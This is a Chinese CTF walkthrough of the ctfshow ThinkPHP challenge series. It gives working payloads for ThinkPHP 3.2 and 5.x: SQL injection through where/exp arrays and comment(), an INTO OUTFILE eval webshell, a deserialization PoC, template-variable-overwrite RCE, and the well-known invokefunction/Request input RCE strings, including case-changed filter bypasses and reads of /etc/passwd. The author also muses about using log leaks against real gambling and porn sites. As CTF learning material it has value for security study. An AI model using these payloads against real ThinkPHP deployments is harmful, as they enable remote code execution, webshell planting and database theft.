ctfshow-thinkphp专题
笔者说
在此之前,对于tp框架题目我总是选择逃避,听说鲷鱼瑟琴菠菜网站一般会使用这些框架(喜),咳,学习一下框架(姿势)。在ctfshow
靶场和tp官方文档的引导下,可以丝滑入门。
描述:此专题专门用来深入学习thinkphp
# web 569
描述:本题使用的版本为3.2.3
打开题目提示thinkphp 专项训练-pathinfo的运用,flag在Admin模块的Login控制器的ctfshowLogin方法中
谷歌一下thinkphp3 pathinfo (opens new window)
在这里,没有截全
可以了解到pathinfo
几种模式,url默认区分大小写,可以修改默认配置
- thinkphp 3.2标准模式(pathinfo模式)
http://serverName/index.php/模块/控制器/操作
- URL模式
如果我们直接访问入口文件的话,由于URL中没有模块、控制器和操作,因此系统会访问默认模块(Home)下面的默认控制器(Index)的默认操作(index),因此下面的访问是等效的:
http://serverName/index.php
http://serverName/index.php/Home/Index/index
2
- 普通模式
普通模式也就是传统的GET传参方式来指定当前访问的模块和操作,例如: http://localhost/?m=home&c=user&a=login&var=value
m参数表示模块,c参数表示控制器,a参数表示操作(方法),后面的表示其他GET参数
- PATHINFO模式
PATHINFO模式是系统的默认URL模式,提供了最好的SEO支持,系统内部已经做了环境的兼容处理,所以能够支持大多数的主机环境。对应上面的URL模式,PATHINFO模式下面的URL访问地址是: http://localhost/index.php/home/user/login/var/value/
- REWRITE模式
REWRITE模式是在PATHINFO模式的基础上添加了重写规则的支持,可以去掉URL地址里面的入口文件index.php,但是需要额外配置WEB服务器的重写规则。
- 兼容模式
兼容模式是用于不支持PATHINFO的特殊环境,URL地址是: http://localhost/?s=/home/user/login/var/value
可以更改兼容模式变量的名称定义,例如:
'VAR_PATHINFO' => 'path'
// 更改PATHINFO参数分隔符
'URL_PATHINFO_DEPR'=>'-',
2
3
配置后可以使用http://localhost/?path=/home-user-login-var-value
访问
啰嗦了。回归主题:flag在Admin模块的Login控制器的ctfshowLogin方法中
访问:
标准模式:url/index.php/Admin/Login/ctfshowLogin
普通模式:url/index.php?s=/Admin&c=Login&a=ctfshowLogin
pathinfo模式(标准模式):url/index.php/Admin/Login/ctfshowLogin
兼容模式:url/index.php?s=/Admin/Login/ctfshowLogin
# web 570
描述:黑客建立了闭包路由后门,你能找到吗
谷歌一下thinkphp3 闭包路由 (opens new window)
学习到了闭包路由传递参数
规则路由:
规则路由中定义的动态变量的名称 就是闭包函数中的参数名称,不分次序。 因此,如果我们访问的URL地址是: http://serverName/Home/hello/thinkphp
这个规则路由发现符合url/hello/var/value
时,参数传递比较简单,直接拿进去了
'hello/:name' =>
function($name){
echo 'Hello,'.$name;
}
2
3
4
正则路由:
如果是正则路由的话,闭包函数中的参数就以正则中出现的参数次序来传递,例如:
通过正则来匹配参数
'/^new\/(\d{4})\/(\d{2})$/' =>
function($year,$month){
echo 'year='.$year.'&month='.$month;
}
2
3
4
嘻嘻。懒得一个一个找了,直接扔d盾了,在Common/Conf/config.php
文件里
发现在ctfshow
模块存在call_user_func
回调函数做后门,利用一下
'ctfshow/:f/:a' =>function($f,$a){
call_user_func($f, $a);
}
2
3
测试一下,url/index.php/ctfshow/assert/phpinfo();
完美
对了。不要在参数里写/
,这会和thinkphp这种把参数值写在url里的模式发生冲突
可以传递参数,用个POST参数绕过一下
# web 571
描述:hello,黑客建立了控制器后门,你能找到吗
谷歌一下 thinkphp3 控制器 (opens new window)
可以学习到:
- ThinkPHP的控制器是一个类
- 这个类(控制器)下面定义的函数叫做操作(方法)
例子:
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function hello(){
echo 'hello,thinkphp!';
}
}
2
3
4
5
6
7
8
Home\IndexController
类就代表了Home模块下的Index控制器,而hello操作就是Home\IndexController
类的hello(公共)方法。
当访问 http://serverName/index.php/Home/Index/hello
后会输出:
hello,thinkphp!
这里我发现:定义的类名为
IndexController
,访问的时候却可以省略Controller
,直接访问Index
,奇怪了?
在 ThinkPHP 中,类名后缀 Controller 可以在访问 URL 时省略,是因为框架在内部处理请求时,会自动加上这个后缀来寻找对应的控制器类。框架遵循一定的命名约定,自动匹配用户输入的控制器名称和带有 Controller 后缀的类名。
回归主题:找到控制器后门
丢进d盾,竟然没找到
在Admin/Controller/
路由下存在两个php文件,内容基本一下,没有看到接受参数,应该不是后门
最终可以在Home/Controller/IndexController.class.php
文件里找到后门show方法
,会解析php代码
在这里,可以知道后门函数处于Home模块的IndexController控制器,不理解的是为什么这个函数可以接受GET、POST参数
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($n=''){
$this->show($n);
}
}
2
3
4
5
6
7
8
9
这两种都可以
GET:url/index.php/Home/Index/index/?n=<?php phpinfo();?>
POST:url/index.php/Home/Index/index/
+ n=<?php phpinfo();?>
为什么这种不行??也就是上面提到的pathinfo模式
GET:url/index.php/Home/Index/index/n/<?php phpinfo();?>
# web 572
描述:hello,没有源码,如何获取黑客的蛛丝马迹?
信息泄露挖掘,thinkphp3在调试模式下会记录详细的日志信息
thinkphp在开启DEBUG的情况下会在Runtime目录下生成日志,虽然Thinkphp官方一再强调生产模式下需要关闭debug,但很多管理员还是忘记关闭。
似乎是这样的,那是不是说看到鲷鱼瑟琴菠菜类网站是tp框架可以看看是否忘记关闭了调试模式呢(若有所思)
thinkphp日志泄露 (opens new window)
默认情况下只是在调试模式记录日志,要在部署模式开启日志记录,必须在配置中开启LOG_RECORD
参数,以及可以在应用配置文件中配置需要记录的日志级别,例如:
'LOG_RECORD' => true, // 开启日志记录
'LOG_LEVEL' =>'EMERG,ALERT,CRIT,ERR', // 只记录EMERG ALERT CRIT ERR 错误
2
ThinkPHP3日志目录:
/Runtime/Logs/
/App/Runtime/Logs/
/Application/Runtime/Logs/Admin/
/Application/Runtime/Logs/Home/
/Application/Runtime/Logs/
日志格式为:
/App/Runtime/Logs/21_05_17.log
TP5有所不同,这里不提
回归主题:找到泄露的敏感信息(日志目录,日志文件)
尝试上面列举的日志目录,看是哪一类
如果是不符合的目录,tp框架似乎没有反应
在试到/Application/Runtime/Logs/Admin/
和/Application/Runtime/Logs/Home/
类型时,页面提示403
,说明存在,尝试访问日志24_01_01.log
时,页面又变成之前没有反应的样子了,说明这个日志不存在,bp爆破出存在的日志,多爆几年也没什么(展示容错),从24年开始试
GET /Application/Runtime/Logs/Admin/§24_01_01§.log HTTP/1.1
Host: 19862dcf-d6d6-466c-a486-2836bd3ee425.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
2
3
4
5
6
7
8
爆破返回数据长度都一样,24年没有日志,往前试。闹麻了,爆了5年都没有,尝试下/Application/Runtime/Logs/Home/
目录下的日志
GET /Application/Runtime/Logs/Home/§24_01_01§.log HTTP/1.1
Host: 19862dcf-d6d6-466c-a486-2836bd3ee425.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
2
3
4
5
6
7
8
找到线索,大概是类似前面的show方法渲染?
[ 2021-04-15T14:49:32+08:00 ] 127.0.0.1 /index.php?showctf=%3C?php%20phpinfo();?%3E
# web 573
描述: sql注入,flag在数据库中
测试正常sql注入时,似乎不会查询,猜测tp框架内部重写了查询语句
ThinkPHP可以支持直接使用字符串作为查询条件,但是大多数情况推荐使用数组或者对象来作为查询条件,因为会更加安全。
首先,支持正常的字符串查询,其次,tp框架支持且推荐以数组或者对象作为查询条件,举例
- 使用数组作为查询条件
这种方式是最常用的查询方式,例如:
$User = M("User"); // 实例化User对象
$condition['name'] = 'thinkphp';
$condition['status'] = 1;
// 把查询条件传入查询方法
$User->where($condition)->select();
2
3
4
5
最后生成的SQL语句是
SELECT * FROM think_user WHERE `name`='thinkphp' AND status=1
好了,关键就在这里,发现了吗,tp框架会把数组变量的键值对作为sql语句里的查询条件
看了其他师傅的wp,发现可以给变量添加一个where
键名,实现复写原sql语句的where
条件!震惊
回归主题:SQL注入
传一个数组变量id,键名where
,键值为查询条件,给一个错误的sql条件,报下错,验证是否能复写where
这里可以看到,条件只要合理,是完全可控的。通过测试,发现存在4个字段,第二个字段是会回显位
# 爆库 ctfshow,ctftraining,information_schema,mysql,performance_schema,test
?id[where]=0 union select 1,group_concat(schema_name),2,3 from information_schema.schemata%23
# 爆表 ctfshow_users,flags,FLAG_TABLE,news,users ....
?id[where]=0 union select 1,group_concat(table_name),2,3 from information_schema.tables%23
# 爆字段
?id[where]=0 union select 1,group_concat(column_name),2,3 from information_schema.columns%23
#爆flag
?id[where]=0 union select 1,group_concat(flag4s),2,3 from ctfshow.flags%23
2
3
4
5
6
7
8
其他师傅做到详细跟踪tp3 SQL注入漏洞跟踪 (opens new window)
# web 574
描述:sql注入,flag在数据库中
给出提示:这里把接收到的参数和字符串'id='
进行了拼接,那么间接的禁止了传入数组类型
不过,这里是不是说直接把拼接的内容作为查询条件了???
public function index($id=1){
$name = M('Users')->where('id='.$id)->find();
$this->show($html);
}
2
3
4
太棒了,我喜欢!
这里的括号可以闭合,下面操作就和上题一样了。狠狠的注入正能量!
# web 575
描述:需要拿shell,稍微有点难
题目给出了使用的部分源码
群主的预期解是写入shell,但是使用了show()
方法,存在渲染漏洞的非预期
$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
$user = M('Users');
$user->find(intval($id));
cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}
2
3
4
5
6
7
8
这里需要谷歌的是模块化设计 (opens new window)
在源码里出现了一次M('Users')
,说明使用了Model
模块,在tp框架中,Model模块定义在Thinkphp下,如果要玩非预期的打法,需要继承一下Think\Model
,在反序列化时会找不到类,导致反序列化失败
如果反序列化成功且传入的id和反序列化的id相同,会直接渲染反序列化对象$user的username属性。在if条件语句里执行了M('Users')
,使用反序列化恢复了一个Model
对象,可以知道,需要使用Model
类
只需要控制$username属性,就可以实现渲染php代码
exp:
<?php
namespace Think;
class Model{
public $id='2';
public $username="<?php phpinfo();?>";
}
$payload = new Model();
var_dump($payload);
echo 'paylaod$: '.base64_encode(serialize($payload));
2
3
4
5
6
7
8
9
base64结果可以url编码一下更好
另外一种需要拿shell,稍微有点难
,看其他师傅博客的poc好长,等我变成tp大佬就回来分析(星星眼)
# web 576
描述:注释注入,需要拿shell
$user = M('Users')->comment($id)->find(intval($id));
调用了comment()
方法,项目源码里审计一下,审计了个寂寞
谷歌一下thinkphp3 comment (opens new window)
看到了吗,comment()
方法里的内容直接左右拼接注释符/**/
,最后再拼接到原语句的最后,可以坏坏!!
我们在comment()
方法里传入/*
、*/
,就可以闭合comment()
方法里的注释符,在最后的拼接环节实现sql注入
尝试闭合前半部分,让sql报错
闭合后半部分后,正常查询,当然,后半部分也可以直接通过#
注释掉
那么,在两个注释之间的内容就是我们拼接到sql语句里的可控部分了,这里似乎不存在堆叠注入,道友们可以尝试一下
在这个sql语句里,intval($id)
查询了一个id,返回结果是当前表里的内容,不可控了。我们可以控制sql语句结束时的操作,例如:把查询内容写进文件,可以控制文件名,实现写一个木马,使用mysql的骚操作,更改间隔符,填充木马内容。如此,在sql查询内容受限的添加下写入木马
Mysql指定文件分隔符 (opens new window)
?id=1*/ into outfile '/var/www/html/1.php' LINES STARTING BY '<?php highlight_file(__FILE__);eval($_GET[1]);?>'%23
# web 577
描述:flag在数据库里
$map=array(
'id'=>$_GET['id']
);
$user = M('Users')->where($map)->find();
2
3
4
谷歌一下thinkphp3 where( (opens new window)
在官方文档里可以学习到
$map['字段1'] = array('表达式','查询条件1');
$map['字段2'] = array('表达式','查询条件2');
$Model->where($map)->select(); // 也支持
2
3
那么是不是等效:
$map = arrray(
"字段1" => array('表达式','查询条件1'),
"字段2" => array('表达式','查询条件2')
)
2
3
4
到这里,你有思路了吗?$_GET[id]
可以是一个数组类型,数组的第一个值作为表达式,第二个值作为查询条件!!再回顾一下这个图,思考这个$map
是怎么和where
一起使用的
我的看法是:sql语句中的where会根据指定的表达式
类型,选择字段
和查询条件
的处理逻辑
where 字段?查询条件(表达式)
选择exp
类型,那么查询条件可以使用一条sql语句!
开搞,根据报错信息,合理调整,注意前面多补个=
等号,把字段和查询语句拼接起来
第二个是回显位,开!!!
?id[0]=exp&id[1]==0 union select 1,2,3,4%23
?id[0]=exp&id[1]==0 union select 1,group_concat(flag4s),3,4 from flags%23
2
# web 578
描述:变量覆盖导致rce
public function index($name='',$from='ctfshow'){
$this->assign($name,$from);
$this->display('index');
}
2
3
4
下面要献丑了,过两天一定学vscode或者phpstorm动调
在tp框架里查找assign()
方法的定义,没什么敏感内容。不过注释里写模板变量赋值
,往下看有没有模板解析
public function assign($name, $value = '')
{
if (is_array($name)) {
$this->tVar = array_merge($this->tVar, $name);
} else {
$this->tVar[$name] = $value;
}
}
2
3
4
5
6
7
8
下面定义了一个解析的fetch()
函数,解析模板输出内容,重点:里面多次使用了extract函数覆盖变量,多次使用文件包含模板文件,或者使用eval解析php内容
截取部分fetch()
函数代码,看到如果$this->tVar['content']
存在,那么extract()
函数会覆盖当前作用域的变量,然后eval()
函数解析php代码,回去看assign()函数
,看看$this->tVar['content']
是怎么来的
(isset($this->tVar['content'])) {
$__content__ = $content;
extract($this->tVar, EXTR_OVERWRITE);
eval('?>' . $__content__);
} else {
extract($this->tVar, EXTR_OVERWRITE);
eval('?>' . $content);
}
2
3
4
5
6
7
8
在这个assign()函数
里,判断在属性$this->tVar
里是否存在第一个参数,如果不存在,使用array_merge($this->tVar, $name);
给$this->tVar
添加新属性和值,如果存在,直接把参数值$value
赋值给$this->tVar
,总之会把$name赋值给$this->tVar
。我们可以给他一个content
参数,渲染php代码
::: dangerous fu*k,白忙活了,我说怎么跟别的师傅环境不一样,我还一直以为我的是tp3.2.3,原来是tp3.2.5,天塌了 :::
ok啊,不好意思。让我们重新开始,tp323和tp325版本只有这个fetch
函数稍有不同
fetch函数:
extract() 是 PHP 的一个内置函数,它将数组 $this->tVar 中的键值对转换为独立的 PHP 变量,如果$this->tVar
数组里有_content
属性,那么会覆盖当前作用域的_content
变量,eval('?>' . $_content);
解析执行一个php代码
if ('php' == strtolower(C('TMPL_ENGINE_TYPE'))) {
// 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content) ? include $templateFile : eval('?>' . $_content);
}
2
3
4
5
6
7
8
所以直接在这里传值覆盖一下$this->assign($name,$from);
因为assgin的if判断两种格式总之都是给属性$this->tVar
添加新属性,所以payload有两种写法
?name[_content]=<?php phpinfo();?>
?name=_content&from=<?php phpinfo();?>
2
# web 579
描述:未开启强制路由RCE
在tp官方文档里了解到了强制模式
,像flask
框架一样,只有定义的路由可以正常访问,否则抛出异常
在网上找到了相关文章及poc (opens new window),强制路由RCE漏洞Thinkphp55.0.0 - 5.1.30 远程代码执行(路由处理漏洞)
其他师傅博客wp里的payload
:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
,跟着到源项目里跟一下漏洞点
v5.1.28项目地址 (opens new window)
在本地用phpstudy的composer在www目录搭个tp5.0.*的环境
composer create-project topthink/think=5.0.* tp5 --prefer-dist
在源码里找到了漏洞点!!在./tp5/thinkphp/library/think/App.php
中,定义了payload里利用的invokefunc
方法
这个 invokeFunction 方法通过反射机制
动态调用一个函数,同时可以灵活绑定参数。它的核心功能是接受一个函数名和参数列表(数组
),然后使用 PHP 的 ReflectionFunction 来安全地调用该函数,这个函数要可以处理数组,要达到rce的目标,可以使用call_user_func_array
函数
public static function invokeFunction($function, $vars = [])
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);
// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
return $reflect->invokeArgs($args);
}
2
3
4
5
6
7
8
9
10
好了,那么一切都迎刃而解了。这个路由和方法太过于危险,如果普通用户也可以访问利用来执行命令非常可怕,事实上默认配置也是允许用户访问的,所以题目描述未开启强制路由RCE
。
那么,理论上只要可以访问这个方法就可以实现rce,把常用的路由模式都是一遍(x),新的url模式 (opens new window),并且tp5默认url不区分大小写了
- http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]
- http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]
这里第一种方式似乎解析不了,用第二种?s
来解析
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
tp5的一些常用payload:
?s=index/think\Request/input&filter=system&data=dir
?s=index/think\Request/input&filter[]=system&data=pwd
?s=index/think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/think\Container/invokefunction&function=call_user_func&vars[]=system&vars[]=dir
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
2
3
4
5
6
7
提示
提一下,tp5 url模式不再区分大小写了,所以如果出现过滤关键词的情况,可以尝试大小写绕过,只管去做!
# web 604
描述:未开启强制路由,举一反二
提示
题目里给出了tp5的版本号:版本thinkphp 5.1.29,其实不给也是可以的,通过报错使tp框架报错,通过返回的版本号直接谷歌对于漏洞打,太爽了
用上一题的payload打,提示invokefunction 这条路子不通,想想其他路子~
,使用上题提供的其他payload,也可以把invokefunction
里替换为大写,通过url不区分大小写绕过
太好玩啦!你还有多少惊喜是我不知道的???
?s=index/\think\app/INVokefuNcTion&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
?s=index/\think\app/inVOkEFUNction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
?s=index/think\Request/input&filter=assert&data=phpinfo();
?s=index/think\Request/input&filter[]=assert&data=phpinfo();
2
3
4
我的失败尝试:
在invokefucntion
方法下面接着看,还有invokeMethod
,invokeClass
invokeMethod
方法的定义如下,接收两个参数,第一个是类的方法,第二个是数组参数
public static function invokeMethod($method, $vars = [])
{
if (is_array($method)) {
$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
} else {
// 静态方法
$reflect = new \ReflectionMethod($method);
}
$args = self::bindParams($reflect, $vars);
self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
return $reflect->invokeArgs(isset($class) ? $class : null, $args);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
尝试了两个原生类都不行,是用法错了吗?提示方法不存在,道友们有兴趣试试
?s=index/\think\app/invokeMethod&method=SplFileObject::__toString&vars[0]=php://filter/convert.base64-encode/resource=/flag
?s=index/\think\app/invokeMethod&method=Error::getmessage&vars[0]=system&vars[1][]=ls
2
# web 605
描述:未开启强制路由RCE-姿势2 版本thinkphp 5.1.29 举一反二
过滤了invokefunction
、input
,可以尝试url不区分大小写绕过。也可以试试试写文件,这里是可以的,为什么前面几题没用?试了,要么执行不了,要么没有写的权限
?s=index/\think\app/INVokefuNcTion&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
?s=index/\think\app/inVOkEFUNction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
?s=index/think\Request/iNput&filter=assert&data=phpinfo();
?s=index/think\Request/INPUt&filter[]=assert&data=phpinfo();
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
2
3
4
5
# web 606
描述:未开启强制路由RCE-姿势4 版本thinkphp 5.1.29 举一反四
每次禁用上一题使用的payload的关键字时,通过大小写绕过一下即可。这题在上面的基础过滤了write,大写即可
?s=index/\think\app/INVokefuNcTion&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
?s=index/\think\app/inVOkEFUNction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
?s=index/think\Request/iNput&filter=assert&data=phpinfo();
?s=index/think\Request/INPUt&filter[]=assert&data=phpinfo();
?s=index/THINK\template\driver\file/WRITE&cacheFile=shell.php&content=<?php phpinfo();?>
2
3
4
5
# web 607
描述:未开启强制路由RCE-姿势5 举一反五
上的payload还是可以打,似乎都仅仅是过滤了小写
?s=index/\think\app/INVokefuNcTion&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
?s=index/\think\app/inVOkEFUNction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
?s=index/think\Request/iNput&filter=assert&data=phpinfo();
?s=index/think\Request/INPUt&filter[]=assert&data=phpinfo();
?s=index/THINK\template\driver\file/WRITE&cacheFile=shell.php&content=<?php phpinfo();?>
2
3
4
5
学到一条新链子
利用了一个__call()
方法再触发display方法,可以渲染php代码
?s=index/\think\view\driver\Think/__call&method=display¶ms[]=<?php system('tac /f*'); ?>
没什么意思,学一下其他可以解析的链子,并不是所有版本都适用!
?s=index/\think\Lang/load&file=/etc/passwd # 读取文件,如果知道flag文件名,....
?s=index/\think\Config/load&file=/etc/passwd # 包含任意文件,适用v5.0.*
2
一直到610,都是这个思路,只是过滤了不同的关键字,大小写绕过
后续似乎都是反序列化挖链子的,打算单开一篇学习,那就到此结束了拜拜拜拜
参考、致谢: